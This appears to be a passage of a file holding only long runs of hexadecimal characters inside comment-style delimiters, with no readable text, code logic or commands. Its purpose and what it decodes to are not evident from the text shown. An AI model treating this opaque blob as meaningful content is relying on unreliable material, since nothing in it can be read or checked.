520813634436e58bc7a9f2dbf14a5efa4f592c97fb1d79355ef24df9191761d1dfceba7f948c0eb70067111f841ceea9b14f271d2cd318e5c2523664652001b1b9ed8f8834635a42a2880d9181cda743d050a16f08ca87728333ebd84960a49f999a8b0b302292f1d5bc85589e4761e388716f74005bfbd1e61790946c55e022b44d4b585f1d466cd76e614fea95daad41cac6ebd82ca641e143240340a88cb61b3ac7f87f161a36151ba8366f2ae70a0a17b30dbc3f1ebe49c8d82b17163a2b53bb45904736e1f2c83ce5f3bd3ad8a6597a226fe1d48e41a22f69ee986d237473e584183a5a2ca9a22bf2c97f7e6442b2ca1cba97ce6659bd2bbd276c84be516b1e2451d3bb28d6a0c780f003c7ec66541c05a0e86220d72334c40efdce5eb1843f091dd71e1ef85780ede8a92aebb36843659964ef8ea541c96e91eb2e901e1e222c82466fa84943f6413689211e6bea85de9246186addc50463048cd1b0612d3a9c4cfc708b449d6a9cf66b4d1ae45cd3158f6f3aaef36405bbc7db7951af9bf81c79c592e4655a50de0295ed6ff7b8cc92ab92dc7acf5bfbe187dad5b19355c3957854e965740a099a224af9acd3795fc54ef2d524d40648dda8d2df538216283d071599a9ef19be92bf290bfb934d493efea01ca07b5ac1e98f0ba3c4ac92f11d7657bf393ddbe16589af4d0dd3dbca182324363909d8639b319c92facba65f43a32c198fdc03039cc0d9c7294b8bd7db2e0ba59916ee08e6bb8d0a0d789e4fb10b66d9c09f8e207cd3400cfaf63fe1d4d8f4c9f260685a58ae29134a60dd04899bc26c3a4314ae5486c40b4ca46b180b6408c6f536ebd6218598b62f9350798764f80f1177e63fe5b3f90672fd2c27f15e6f8adc16d75157f3373f14df60c70c88cfe86dae7d0d7d8a5b9d3dc7d03518b5b4f2bc019bd298f8430a5b5704ad4d8506e081bb39ce9109b1b8c56550c857247534eb17d6b5d69e7a81d46083d6f8a8ed8db088532fe2d86e31d4ba58378e7d59e2dc29c46df60dc62952f23e374329264697585f0504942d5f33cae03e069a2cc61402bddef57ad0618e282777fe05daac9feb7ac355c21857f62d961208bd2a57f0323314029a3c534113477dc162fcda587eb3f39a601c879442c451544ed8ea93638ba245e1cca273c1c2dc913d813754bd4cdb75bd56016c6a67f9abf524077af77531bad9ffd0b18d1dcc0b0f3f40e1520d754a481bab7e850d2a328bb2c0e5b14cc30e52e5e77a86b0f971a44b5a6eb4fab50fc5dad77700aa50473db53a38f281d50f079373c7666b3846342a7f8076d7032516f518f67b2ffc3aada4311302c9cad1fcc2e0355800c596f2ed96659c26ec5ca4bc9dee44f1e09c2c73f74f02da7680de4bdb06b4edb52a8016d3f0029127e28da002602633d5374ad6b32daf07e1cace6b6d24bcfec9f810c77918794eb64ffa5f17c43b28e4e2a5491368ebd767b0cbbed84ecf909e593e7ac7c217bec33d655c2009229f70fbd4a33578b43d8d4ae9fdf05cd4a4c57ee9d017b78b7e87f3577e9571339305049e2d0d20fb47f60711af704803381c7d253372469665d3df8244cf03b172b2b86d774e9c1af3dde484319c568155cdc4eff9f4fb51aad4758d8d3c68f351c7e1ca9699f7b8b3d02bfe7244e58b1d8aa663d2fe78274a4571938a9cce54b299891b7830e222aabdbe13b8d705d66ab4d8bb9e602abaf0bd88fdc2629b2691503f8d4bfda767aee2fce3d7275109ac2ce682f6f0ef3e43fa4a721da48f644926112e38580268a9798f61003f95e1cbb32378ad6d1491ba60d4b4efa79adef1af51852eaf9eb9e50fa8f306ce5e707d539a543f1e0002103b7b5bc14e75523aff555340cc8a6f9f275c23f04fee1a28e85c84374228c8a7f24d11bce7a955d6e2e841f7046a88fab586acf5b962ee4de20a003b994e0d0afee53093d56b224eee59e3cd0189895453af97d6d236915c67d964297169497a855e76fdc69da7225d87d103507ff24d4ecab69b7d5f5df4e67a6615511b1005712824e087c4cb24712392400028bb3dbccddba86f6868f46bb678a8336705e4b7c115222f74e0db269*/
/*e88ec5c1e7ef30fcef9f52883ff87e5865abc3ac2e1c02ae09dd5129a4a1580b21c52d2ac08eac07b8c53dfd176e350c068ab49865462d73e8b379d64505c41dfb4282328be36b1be1ff46bf355d1d7a07da302d8c08f7b2726ca8152affffeafaacbf3726d22e5432bc9555007f7a0c673bde29ae8650f965baa7d4dbc9c40cd29dab88bd7bb8fe5192c9ed0a51e3fcd4fcb9d1f62be05a7b44f48ed7e4f618807ad47c09e69d4320e2bdba9b6412c2ff6a3434e4cc49103039d707ecc64548da7dc5d74437e50e32e29569a17e917ada7497f6f095cda40216764d4f23fe7b6a8329c0b708a900eb79b33146ebfdc75425e11f389dd0a2a220e4cc10c46b82e67d72ebc34d05c2cf4c3d109f95637825eb62a641eeda258bc5efc8858fe605064dff638e391b5ecc87753c7844f48249abc5a049cd66c2f624ece8aab3b062c2d3a052e39ba5b33003b50d7d97634346844c00b534162554e1bf3faa740f7d54ad1f5ca480e79bfde73c1b25bdcd389a69dc5894f8a5a6d2cf44bb776eb936b54746529c9682f3480db6b7106bd70909a71529a3acf7d2d8cfdc6db61dba4b23f4e07bc14f69a99add98680a847e1c32f7ef67c08d96c1006b786d136786bab3b4160800b23eff41d90b06a94e3785b9de3bebd2efee5b8dc4306a5dc45ef2cb35723744fba2d4943dca023b42fbaa42c282b79c729ba1ab84d54a4790a0fa1a357eafc75d91c6efe37b6ca4cfdba1735743f6a9a6f5dc466bf35c45b2625006b07f47ca371ce8af66878bb15b0e31116e3ee6a817d3d8b251798c1a6bd97fef10a230e75f9d4d8730c66a1de738330f3930222e4822c96a8e1114f9d678e454f0993769c42cbe8c71afcc58f2e151a0574b394084a418ab35c4153dfe6532c2174558f116759d417690b1d284a723d04e1d174116de811a95ec12daf3286010cacdbddcabe8392833e12bf134b97e0a897981e2f5f51318e89bd90af3ca1d8e404ec09a3e3856783aa86eaa23c4440adafdda1e7bc47bce3d3e332f7c4e19b4225f6b15d31efb23a371d8fba03b869dafd8e5c559d85d187a258b98034117b996b00f90942d443a76a32f7a89f15da6315c23d0c08f1d96f29eff6a77fe534e981af4424c64175162da863c91c36fcf60d38fe59d73121dc9ed58df8160756a470b37e5599d9a26fd3f220de4d02d639c13235e9f947793c568df44f13a3e1ef7ef0794f7e594c0631254f4ea19c6c8c8b7c8dd46a55e8396377066e52dcf5e937c31496a343a14f3a85c7c1a84ce13d357a14929333adf1c64250322e2b4f3e77f5c9ab8642aaaec6673d7ba4fb79525f63f055fd3115f17ad4f30c81f942b9b1571a4e333d5f6e94b83e4c17d5321a11826946bce900ef65b20bdc01533acbcc9e28bb20007333cd42ff7023636f6a6d738e1fc059e4aec89ef08063b2e06e029cae40342c9e707f9ba48a6b60490f8211b5ceee5f1a53b11becd1aeca864d4fd1dfda7c8bdcab4406e79ecc7aa12702c71690e48531e8701396c4f1943e91dd3c8ba1fd67d53a19432af1bfa89b39b340179a9fd231a197d384d875f76cf2d3eeadb849082f0a980c1cce4a71f22607973d1c3825fae9aa3799435b8c42bcbf75ce2c5c3da4024d285d71c400922e0a7e73e0daa6a04e9abb289ae1f047c8f94db7de03c9ea39fde67e5d7238599efc2e3cae2ee1035aa243409a98db2407a1f39ed883219f94e3fa651e96fbbab052e167b08b895d0b3791e274c3bedd7adeb5589989a3e8328a6b57be9f9ac7520214da4ea99f3b231fb6e27be97e77564cf1540a26e8ccccb6aaff3b8c949c17f83934d9411cd2479a8acb6cb824ea0ca3ac7a130d423276d1ba3b966805331260efcaf342b5873ef43a217f849c273415d5c450b4809940931be9c517e3ed6148e5e3abf5062eb8608a3efa25c149222f9628241fe48f9df176c7f91f5d2d8ad602fe7c73e3789dea02266410030d96f423213a5f8f1da574e78e7035b49df724173782c069276ec79e05f6dcebcb438296eb81857cdcabee0271dd0a970b89d362108fa9057ceca8823c2e0174e225985d50eeadccb5b1d9e3badedd11f6e71cd1fc2d05d1990195562cc44e3c9fa77518a244a72e14bf8e7a8fefa7325491dd6688a3eef49d34b4993149d0ef59f468b5a50d529a2ac23838f9b125a438c03bb6d68a46206dc9a540a3d7c356e00bb992961874cc0bf8ab6714d7d76e76b6b3727eb94c5d25a020b4187a216bbcabe3be98085ed2fca1a1f0abe8d74350b9b878e51ee44530b302e2c291a4d59882351172ad469f19ada804f27852459f09ce9f24bb537e6949267c288a034dd3dfb0255e588b7c50d833a9ceac8984daa026c4f8d7e6a59b1c58915b1d535197d9556fb300d878fb0d244a106eb5c2b96ff5ffbecba609ff14c66a3f6525128f9d0231557717865ebdd820857fedfe19878e0869273f1d8b9c7246259ebd53b4d142213d8f76cd21f50576e9ec10fec36e7f6131dfbd4c05dca79c45752ff51f0afb607e9738b2574f645edec93b41e6731a583d3b42b06cdb36e70aa7efb712c3e8535c141be5e413b569dd23259fe5f3d07c4f757b040122b0731273ef64015f2df3dcdf43fa4f2f11faa04d74b9835eea9a7f9a90c26fa607f0aa765a3c2b3e75ce39d63584a035e272dcdfe0f30813f0a33251e59f266825f728958087f5d40eedd95b4a1c692397a51f7c876c266eb5f5a033aaff9e719c9ae62062f4209c776ab51d4c783056fddae3f39d431a8c15515296eb6aea8f11daf466e7a7b475750661bda763024c5ae4783987efb*/
/*454d692e762e547e5b846e2229352397d09ead2c49e66dbd7cbf736480a650ae9fc9cbc398e8e775d4d12d65cb2b8c735e16fc7112a21af8f1953c8eb858919930c53ba47f769d9b82e2693c41f0c5590d1031567bd40f016bdab1f193a8745c42715d2175ef80ec1db72821ab1a5ccf5d312da70e12ea49aa2922b20789c8b83eddfa25e5e1f3c8486f01d454bd7311deda33b805dc3e627bba652ef365d834d11c7ae07bb228f2f11cf55987ac85665487ee1dea25772b9d893c03a8259063eab96f2783b8e416a55c4f60ed4ebcc435910f91bea75668493a774afdf2b974b55feaa3917ecf5bafd996d9be55ab5b89c1dcb87339b0280af2ddc1131e172e6c6ee36e48ca1e87a13a894fd79ccae03f99fd91a8cbceb3a0b47bec99bdfdf5aac5c1ae6ddefc290b758467f77c7d397d5090930d9dc4389d13578e168bfcf5dde547d7926e2739ad38eabaa2c2b0b8364ee204f9e332f00e6e4667913d6c05386a8f7986c14616b1db4b79e30ff732d8a1762127e3243cdd5f708fd8118a685f71c1a182e93d964f43ccb81febb6357702af2dac1b8c9a2cb484a2c05a111b9f00e8e3cbbbf2403a5640f56843468421f9381516042a8430cc4f7c726fc2b862a487f618f042ed6611355df2c809f0d150ff0ee42d2bfbba53696e4ddfb0df668672fffff032980903cd5ac5d607f9527d5e154d8494e183271f97b22aa4e3ced9cfa7a05bba5e716fdcd6aa0d30276c88161bc7ad5a1b15561a46ca673b8be3eb944d1fc934854037eacbcaafcb2c0b351e58cc99a2bf318e72d8923705a7f326a93287690e8bb158a5060449cc8a4665a316678e2384bd3fa0114ae7728f3c30834367be5b572659a1876603d5b14df9a501e65ef77c444013aa9234c1f523a7b527ae39f00255f5a53b9f5ad7400d3646076c394d97aa810cf741df31a25a9e76cf4ccbac761c180bdc41d55ecb71dca89f7e5ea01f1719098967af75beccc90df8961fd5f5c52c7e7bc27a30d2a568399f508b003d81a277f971b33d76a528fc4265d1dfedf8011a9f5db309b7638d535bdfc30e29cd763004a2fe0cabe89379c8b33f7849767a27a29d1891624f655d7e0a693622bbca94a856395f0121e9286baa4f500885e8cd72a72b8cf68f3b5b0f53428e3776f823358eb093133c4241fe2b4ec227c2099dcc1bd52856a7946a6d3e0f2a02388a52025d77d717814dbaf410c9b8d586ecc68f5a3dc9dbbd332378f2cc4876dbdefdaa1fa380e25276126c7a92f87029adebbf3866ab5c8f665ceabbc3fb0aab3710d083a0ac998d12dee4017eda7251d98f3dcf6c09d477ecd2c3cf8d8a3154ba3a1877d379adfd6fa641480643b2e0db5fc69873e61b74ef8821b3bdd7f40994bcb89f8e7b290008efa90abe77413188a6e9e13f7f0a106dd2059e2a100701cf79ac2d7f6ab9aabf825e67eb2cce2bd8ab30c941eed9795917a93bf21dbcc40b84ad53f1370d111fa669a89dec2331620f4188edbb4541c80a9436fd4f9bea573c46ba1393a4efef180229f542f70569c7f8bbcec67041dbc2d3b5647afa62b9aabaf7d0a15439c0a2015dd29c9eab428d192e91457a4f916ed404350ba670dd8e3569336ae8641e4201dc33388690723eaa48a336e316f819a2152ff2048aff0c4c70f52b7d9e06c0b91fcca261d6983491ec26ce79fff23ec9dbeeef92360f62bbbbe9676e8cdfc58d8f228b82cb69276db329b323dc8b89440a07dd8f0252464b65a20f85a1a738fc22a50fa5fde434c385cc724e87e97873cf3ac1608705778bccd890dfe7809b49cda2beb9d6088b9538f305e3ced51baf553b53e7adda4f81145f1a97a6de69bfed0e460579e6181909132b76439b5ea22ebb8671534dbbc6854d65722467dd14e25191bda88877dbbb0d860b49e878f81b73d3d86f1a99a5e6639259d9c1f16a862ef1be7596eeaef613a3a762089f78739bb18c18708c89ccb06b7e3360c93a73595da52c4602bdf87c11d6b0ea4b54c8f3198c1a4f445772bd16db30f325b1acab60cb89b75f1d829b991138a021928c191afaf86c751be0d6d8bf7502c5ddcd81547ebc941ed81b59b0edf79c100554632d1aa551dc1c9c0bed9b9b8946dc6a2cf2272d6418f56e12c499970d92ad6a95a7a9a8602a67837d069894607a515f18c6fefe4ff81e1f4bd88edf427ad6f8d9bc41202298f608a55b92c42ecfeacef343e7ec42c2ea10fc4b4b0f138b1e316f32f3e9bab096e0a692ec747a4a6248d8feeb494010f14f1eb352c7abaa37ca66618377fa529137d92194816b2b8642e43a65bbea853abf5d4ca2261357f996ac38311b36fa2051c65d7e712451b89237d006f01abef6fb55f2463dd387a96dac806e6d8ffc73dfa966062cc85d3fd291bfc12f6440b6ac44b7072e5bbbd088c715371c503ea04b738e9611c8aa4251932af896573471652f2e87eeffabe632fe3342cc474a63dd6dae750523cdd2b98d3fb476f83af41df3714d6dae62238649d20d96f77752e17e90f129da1375b62fc8b1f661de3a7321a14fa743e2b7d75611b8522c490f2cca434beef017034b7792743854865254195ec55b2a209f5bc9e9c5fa323a81f0e3606da4804f0989ee492f5a73e35deeda1d08e36d9252fba2eb060bf89868f8d821d044d4cf9df85f277ee6980ef3fb9609ef5118666f8656f02506a4af7f5ac64a7976c20b50d194963f5df9bee5b2d1b1bf887fb9516880cbfea1539fd13769f61cd735fc87e6d505b1e61ab67aab1d18e55eb71b2198c537c125be704f8491259e920f8e966ab75306ccfa825b3eb581e5*/
/*16100fb7c15fe7c9455441cf21585d4c76dbc191d2ca59803ecb2dc9d4412f78d692ff8f47cd4bd1e0c65cbd5b63ab60f545a2f786bd1f0f029d771ed56cd4189ef7833548e5d87e26edd85ea06079b35b80df211821d03f30392fb764f898480e2957b4ff3881279a98d5257db5a5bc32f616ca560f1f880dc72fc743f5a82cc525c997dac465135c16631a9ca24147601fad3416bebbf2f014bac236d574c111ea4de8e8775029d8f60f6980a92671f225064dd940c762ed2a31f971fc243ad8de2ce16a992078d33132859aa3f955c2356ee3136fc4fd1c0dc64ce71d216d405f2200fd8009794b83b101caadbf44115c93b558f8f41e4d1704d1ca4f5894280c4677e59a9fdd40e1aa23e00ca908b97ef665c9d084f498405f467ebcb8289a8ec509b13bf9be2dab9942121d8d54e2f53f89fce934cbb08981a016b42148a4f64cbf7558eb36aed6daedc89794281368589609a409d87fe8a64b4e8e31a9d549d650aff125d9f1b4c8449da9e5684c8a051e5a7a51fa6779b6461e355b425f3f756a8d287eda006cc8ac9d7f0afe54a046b34522489bbd0832819deeb679d82ea16d0e8ad29eed4cd8c4d5be9f6dbcc54d346e897cdcd4a24bbfecba605e0ec9b1e653cbe7c1b28523878e186628003f59d15b277b491884db72a2bd4d5708f1c5dffd91d757e5be971e416c6cdefad1fdd09f965c966650b93152400aa2c15341db5809fbdf2b2fa458469b531d471a8f217ec7198b386ff1c723e9c771245a28f93a92da2d65425ad001f7892536d8d7c6738b10d027a2e81cef365641ca2dd8240856393a595deefb5c7193febd370d2563d034709ec54d4a14264ae3536b1fd5ea0a00c2b5577f57b509967180e4062827d21790d69db6a2ffc5398a82a4e7ea214eaa4d7309ec7cabb0c8d44a2490032bdb125629b499a6c743478dd618ac067cf214de06939980e7c182dbdf622e5ca3722802dd14b9dadad2849ecc877a7b843533d3f99daa976e0a4935e42a355b026eefec6182807e268bc763a68f34a0c0b612d44ae7fc91695ae3ff224614102c26d5fdf3f85eeff3171609fe084fce575b0214cd62ca94275762c9199fc92adf5b4c7f395363578d60a8f646556243f3f563c8179e2e6efd262ff88cd40128a94feb8749daa6a712b4c00fba0a3f624dd1c6545d4aa303af6e50acd29489c64a4440e1f5a91fe1445e3046a35fb6f069b96ceebd7e983bf50444277944cc1652034c79421f0fa895168cfb5d36af62fe4fcc1fe713d9107a937431e87012ebfa9ca210cd7961ee1551628669966bfc77594d08a16e125c99ffbca470d3263559ca3107162d5c7fd9f0c8fbf4aa204d01f94fed3e404a45e266039f619453e561f2f00eb608b766e500c22b3654da00847256fb977ab5c8f116cb3e449c17f9962e0d63f9e6b142b8aee8978d708d5a5836540ec7b159700b162a79ab38edd6206987e6856ab61d9518119eaa00af5b477c7e4a881e7098181bc4e78d3186f665ec4f097b0158559e2e035446b6690e0835ae2686972b21a6186b13d4d4e8e8b49b1a86f273db11de570966b54877e24375498be07c9527745ee349c9b9704b0d243d7e672608e66854ac681590d3a4ac400e5e874279e9650458cc17318c16fa32c21fe9ed1b8710e30997f1a2ec289e36eeafcfedc8bad1e4eca0fcb5ca80ec254c8620d83a6d761c00014249c7538643342b68e57a0e4abc65b5161834ae18ccc7f6b54da4dc5222f0488967ce19c7307c93ce172d77e4b31233e871bbf8b4f893572f3dde72a4d737248060a9c0d856604a96bef9bed446d47b13b509b39f9bbebed37bef40fc739d391ca856e125a32d5f3182e6bbe351fd5be9213889874795185e5202781b52532df252f04cc3322d2523d1e908d2b08bd7f1261814a19e7ef3917372bfad3aedf3f145d0a0aefc32a1b11da12f7af4e200d39debf4a5c7a183e43a3dce9d97b761ca1a7bb9128485d2232240076b02fe86d6329c2438fbbf46eebbc42de3f08c47057b06f3d57f452ad9cd40326acc78d38f0d8896916ba1505aa196aac5d6884dc245521bc32ae061a71b9980f2c69b26fdfe665df44c9d74495a4ee6953d3f7a7688437cb573d9e7155d494b5cd18ba3e82376e55d331cc9bb363fe530ac4cb7206d1f3e17d9c867420eee10ef16d71a2483fe1e2805dd62bf3030ebc0758bb6da9b054c5a39d137e369b435748f2cff53d6917a8dc9c52a7fabd9d9dd836a6bc74f631a74305f93afbf7bb5d64d75750254b275e93c13982822e5de2e1276eca74c8b2096e9d02b1455612a60cc23ffa316143b85fac139a7e12c5b073abe1530ed503e1356b1ed94dc5120d23ec7b500f7ec0dc18b5d91dc443027aff9ddba268fb3e8b56a90fa5dbe5c0256b8ddbc9ca356f21f5ccfc0ff1e7299bc60c583f5da5a57fc03c2527b6ee5762d5f9aaf2c12650e5b48bdf548326c60f9c29c9579419a62e9f8e6584607f94b1252965d666f95ee9a47b34986165faff7e0685b682321b1088924c003be261ed3ab571575dcf7b224ace94c28501246627f0473a6eb1653cbadb82af8ec6be6f62353a06bea82a66133dba2e2663cd1839ac8722fce84fd021ac4e706c9b05b958e263d97e9e9f0e8fbcc607aea4b921ac93824d7b00373800b08216be7b6b998ddc965c16327319c53c956ce0e508223e26cd7ffab618788690ff7e69a083e9c525857aee130f2d6c635d2e0ac554f362b1f46c1ee047715c741fd5ab3c92739f20fd3745d7dd179e79e5f95ff143d9d988b958bc73bd5429c3cea71df2d7f291e94b9*/
/*18a0fa6aeec4a0699116e150b4a303a71384784a021bb37daf1740362b772321758952678a0c357c9daafc6e524ee54007c551a50a51fa7c3835cd38649d146b8752396b1aad355c41acfb434a0ba408b867f2cf99c0cfe14cd734f8cc9d4ea3882a503be1b678f26a4a4ece4fd4263250de024481f3f00464ffc2bd33b2a291fafa0cc9b92f5a1bc900ea28a7ce00897832d03f153ecafd04c54e98ca47ff8fac1a3d968295a6bb9e280dd79f16f39fedd3045b509b14f19a36c9952a1dbf42978962086a566a56d2e9731b6cba3b6828c5184ef4d6ad819a79f70e8a704d3076ea7928105aa33038f68aafcca95c7f342642324eeb461a229ec2754db3b8b460ab4137423da67171ef1a25290142d0cf535b812df0b1aca9704ace835da946eefb76339fe91b860ab90358ea5b8708691ee59d76a7486dd993bef2a4cb2e37cad7245894f1b9035ef05b50eeab6b0c2fd138b8e0b7b5144e00f23fc177effd09da68e05b0595601a357e049e13e567458a3be0508f3b7cb26ecc77e278b39cbb3a2d5290aeb42c83ae28cec5dcc42bb7f187fd499026e28662c51ec0096527d33b2cc0cae3b8febe5eb20d59347c49a557045a14bdd8001fcd028f61fb5c894768ba91be507e8ba59cc21d17a54cdc3f6eed1e52c2293dc69717fb045d100fc0885cdfa203967c5a2e315e8bf1ff7123ace67dfc35bed7b3e0e81404c6bb010518918fa14ba57bf8540646b2b16aa892416c66cbcd637849f6ba300f046bf3eafe7630d222f67c455f949b6c12564a9dfecb4e8de6058710b23212f217f908ad2887eab98d3065da838ac6c5e909f6af2d89f6e37ea7eb13b3aeb4deb76fbaf2c4f6197b6d0cd5ba18e13e2ff3f6b48313e5ae88a345ec2d861fddb7d7c0628788291ddcc7221bf170f58bbf35c93d4873ad082f876a4ed437690a45f4d7d5ac03fa6a3a128bad493d9ddd0777b59071a7bb1ad38e0b62d25c43db5af41d34299a060822e80faaeb06ecbcb3ce939e2d65910fea64ddbd7266dbeac11f75fbc8cbfc0cbdc0f0104f8201f678946c507498856ead4a09b41f7dd867279b4e613bc867432d554da9df0f7ebf56e4b98576288f2e32e0acbba55c9b938b6b93d4c4d94925d1e06e0e633191f0df5f87717f8733658f5fc64c566ba0ef545f362bbac36e2d34b1267831a841aa19502e0badbe038ec9f902a460a9a12dadbddaefa7496b00bb3838a7705d4034525c463dddbcfbc725ebf73ee72c989e8621af04100daab2d9f5c38407d3e4b8d69e7c76db8116f23c20d7c6d4414a8875c33eb8b1924e1560d381de944305af78a3fabc90255c118a222d69ece606ede7f9b2a9caeb3e3cdaed2db078ea14ec13d3aa572257f5500544be9e0ba2404e1480b5d0ad172f9bce07614a75e39b102c16aeb02dabc91fc4cdbb7f3db9416e05e785f5ed8989a11e62572ea5296bcb6b07fc06b383b6ee60f2039ce25f0b1abe5d1dcee2e12da7b014774bd34935cb0698f1eb9156a8545bf8f917ace3bad5ba47dca055ce8eaeb04fb56504fd6aba6e0ac7166dfb9b84a93c75e2b2163ccd1a7d43b5a6144dedac100e5adb7b56511f6b1c71b52279672b4f97ce54c4d0947bebdc741154ab573e6cf847989aa4101bd918044612df7e266c4837528dd82b8f493a00e1de299a36dd1751478fedc228d57f2f893a56e7f625d05dc02b6df9aa4d67a85b0e328a684a8998f2eb8bcc5719eabe8d13786d988b903314d757cac8299bcbaaad1f244331406877aa3ca230cd0648d593e94170f42eb51723c9a025490e2a766a86178bb4a8ea0c39c9ecefad3975bf36ab21e7e44717e3b9a161c1aab59c95deeadf0395ac1c73dc43b1de431ce0310ca2e6f8b27eb5dadedbdfac15d9fb13a8e7deeeda4c19eda5f4b97819fba87d191b777dc5e03943b2c91941256cb438812b1df006bd788e0c84c905eeefb4235cbac229f1dd349ea1b70bad898e5bf447672467c96ac9f515e52558602d4504169433f0ecaa411efe8757749b3e91aafa89b5c1fb9338de001ee8714f2eeab6858b74dffd9d2423d5bd62959bbd523b0db14720880dd6a145fa1085d6f6f95ba75720d338622313351bfc0d6783162ce73c31310a37c8710e0406cdd9caa8a10bbf9b7e883b05e727b8597352b4e6575492f2b2ebf5cf96e9e5a43b0e4f54bc53ca7360bc29e2430879f6ef4466d7d2dce12467a82facf451ff41d624a18f024f66ffbfd8606abb0eba6615af3865855a3e7a00bc7650aa13d9a5ac2d03fae63fc614b5fd44bf1bb4d1ba4e7eb9eceabdce84f8df849a81e014e7559f29d94991224805ee9d03abef4bf3fc2210a6f6244bd1dc7fcc9f8c36385c7f29c77e2f8ab2226a8533896743ca26eedeca9b3cf06146892094af424f07455c5a3f7f6176c162fcf798232712c12b6662cde196443d43cdea3817eec4f74ce88e2b162fc8fd584bc016add48e65df43c25e25bf7f7af04f05055bb5308ccc9e8b61091aa1f587e0c290a714476f12c579ad0bd465cc3bc9e2090f8393aef281cba7caa0e9724786650d70126a9ccd66f05d3e460ef776489638119e169161737d1f705fc95eeae199850892651493d54036aeaa77175ca5e81dd22f157b220dc5ef187148c17d29d3750316878e351dd7adfe0de476eacd5fa23e3cfbcddcb17474cad0623cc2d9d866b74aee9bbaf8f0bad8d6dc47bceb1c7b796b75757a97805cfc88509f106c93974e1932b45caaa97a27407066d76fc8d1fb76de0e5c6396bb9c63f32d796211d17f81b4f74773a36dc530f819cbbf689c2c54de3aeecf3d9e17*/
/*428b176b89bdd6c09f7677836e281539c8a9ea8258d5936885b3327b65b46f486b5c232d87c4cfc7da7d3364becc688ba69f4ebd846cfc0689224315cd023643a54f085a55eb11c741d13ed9588031be9f9c725790242a2018b56a2f9ff402fb26bca08ec5b5f551e987df8cafd05d1e6593b95b21e42ab23962d45dbd420d7821ba40324e286b6ecd31eada4003deadf6a58adfd084866e92308c0567ee5a3987b8a620d053293cfd318fe947faf6e794ae87fec7f3106e73176640326482955f966ff1da0573de089558b6f1efe06200841b4e4a75439ee2220529e9e5345648d0f380496c5764df16e6cf4a23668d87dd30ecdafc9d5341abec7d354de727de39d81ac474b7ff7804719f921fbbeb98892f94a26c7ec992aafb8c3c023254487cbcc59d595fc82e360933901328fc3be9cc2271e4b45f5ae60c53271840b66a7fb3fc110af76cb5aea318f1b538ae1051f97da83ecc1426d4ab6fe4339588779cc4631c4573bda6b0beccda81a35884849d7abee8ec2f6da995621d1dbea964db26ad1f3e5eea744eb800a1c7465a0c634cf66f1fc772565b644b14ceb78b4c8b2c032204fa20479ec8d5ee030359039da815253b3be861a476d325189b590499ecb68af97c8795fe62900068049d9f53c128dc8cf7c9eabfac747453fe7383fa04f149a44663e0aad9f7c763f81fa1aaf9c9934a871f8ae641657b0450dda4f564217f7f72125cec06d3816fd514610baf168b1d0496b420eb946eb01ad713e083b7725b405f277b26764b3cc2cacea4fb3d5c23d28e75da801bc3c6afdced2e52475b0b15f20bfbe9a1f498f4ceb6cbbb5f4cff07b0853b77fbf4e5ed941ad4e3c365587e27593920d4d0ce5a51ef4b2599b4d444ea3c7f87c1a9988d8ac7af4c5f451a672eb5552650e956a7e48299956a443042c00a2a7945e2a89daf9d807a8483cfd40cd6e0a6f6180e600531c08c01bb3ea31d643766bc293ad96b6d9a22185867a6c2dcdb0ad06a3aa73416e1130ac5dac9b4977c4891432da546561656ef6c430c6216df32554d2c60061b08a2e25ee5f6c74a4117e693a6285d1d9a7f7dee761013b5bbbe8d55a24574adfb406a501c1478ba3d0457b1d7e4156ba9660b62880fe3eea95ded054f6558c74151fe620adf9211549ad864eb8e3fa467d0b50b14c317d6ddde0c5f701bec2f1c03174dc454173f5b848c11a8fe98a8b16eb31610a22035961a05395e9281c3a6c02a3510c366ab401d70650c49e4b325b599a5c4be637616fd0f3f58c2ce4b73c97d08237df36413bc22e2fc3ac9d64507e35ab8328cd65c6494c4ea77f2e1f9547912bab4ad0fe7e698ac0a3480f31b997f6dd788ed981bd5f216c26899dcf89cb0b7bc5949868fddfc65feb77320a6bcc187330e8d0ecccc969aeda369489741b95dee19c3b7d1ec78a9fe5ddecebea8daaf22c8f8b8c1871cad1e90dcad5b776da3341905bff596ddffbfae9cd5410421057b75b4471aa14bbcbc6c498e6c949170cfc070d6c5d9f45c0ed7f1ae2d77a5f7ababe1876467c88246c10ab6f5b743eec1f913d12724b2fc4210395c6877555f6f362536fe6506883a1f170ca7f3841364a1c3892c0ec00d5a48c929c478393695a7d8e3f8e084887bba8f8938e07d1b4b9d8b94c19335c85427884fac4224e7d20abd348d26825a590cae8686196aef0c20b565dbab97bea0feffe316acfbf041c1355bcf80e3dac59726ae30f4d922e2568e0257b8e94718202aef3bde3081e46b5bd2080a8ca14f774f9b926472377b8e4f041ce1d3950957c2cb533e2786cc313bec449e0c053c730549b7d7630cb0572583b21cde67d692d004973b90ba8ebd5ed389a511a84859f8602c11b75b85c16973b4d04cc2f7b43fc905c56952cc6f13885dc495cbac8429a35f9ee0aa76bdaeedc18d5c876550bec9f1312890119002796acc53f4752f8aa4bde6349422b3d625bd6cdecda6631c2809c09448c2549f79ce7a68a4f9554744407bd894b4cb7321883c6761bdcc55575723e83567fc467496e77d8e29696d4486f1184a1b6d9759959f02265cf4b6a954a4665a99f8ae0e9fac86605ddf5c63de910b6daad6b120b9771891e937a44554b5d73165252773ca7619ea1f3e806f64af69b2f428d9e7594fac4b934ba7820604c65325c09b37fc5d47e7a7059d69db5a3df5e7a949fa7b82b35bdf860c64db1eef134855d1c38bd27bc3a3a643c47daa776036f6a61000603d32efd53b89868052e2a131c88429517f16122db8019760f0e64da9dc4d1c04f513f7110cd1d18be67380abbae54eda19e7226bf1a3fcce8539398a0c20a5deccb7d4baf93e3fea9456716571fe62c38e0bf582c6481a5a30f64dd2b40d7a8b3592f66aabd244eeec789b4eb75c88b09e09c11a91c908beba9e089a69288f546ea8c048c02db2a14fc7105b1a1ec999e792bc2c8b8bf53118184b0ba84dd58620e37503a9145b35b3b210cd0e1779aac71c2a9f506fb273e9dbc410dc7091ba504b4d363697ad2345dc47be0cbcb521af124b9d6fa03b0892a126e420fad9fac377296bc6f7f2ba0b0d81154068a2aebd48b83959a09527e9a18bced4ec4425c697d08675af2047a632b54bf55902e05d3ee66dea1fa717aafd39a429fbe13ac41f572b1784e6bb07f56f3c555077b4dfb1090a779df5d842cd621f0480fc165cbc68c2e407ea39d6b8d92598b69b1007fe509b1daf37a38f8ba0346a744e117db60a57fea6fdb5e69596af1914d80c30ad0ddd32baf9777e298738fcd71dcaafc58caadb34a28582c3b1275692a601f7af4a1601*/
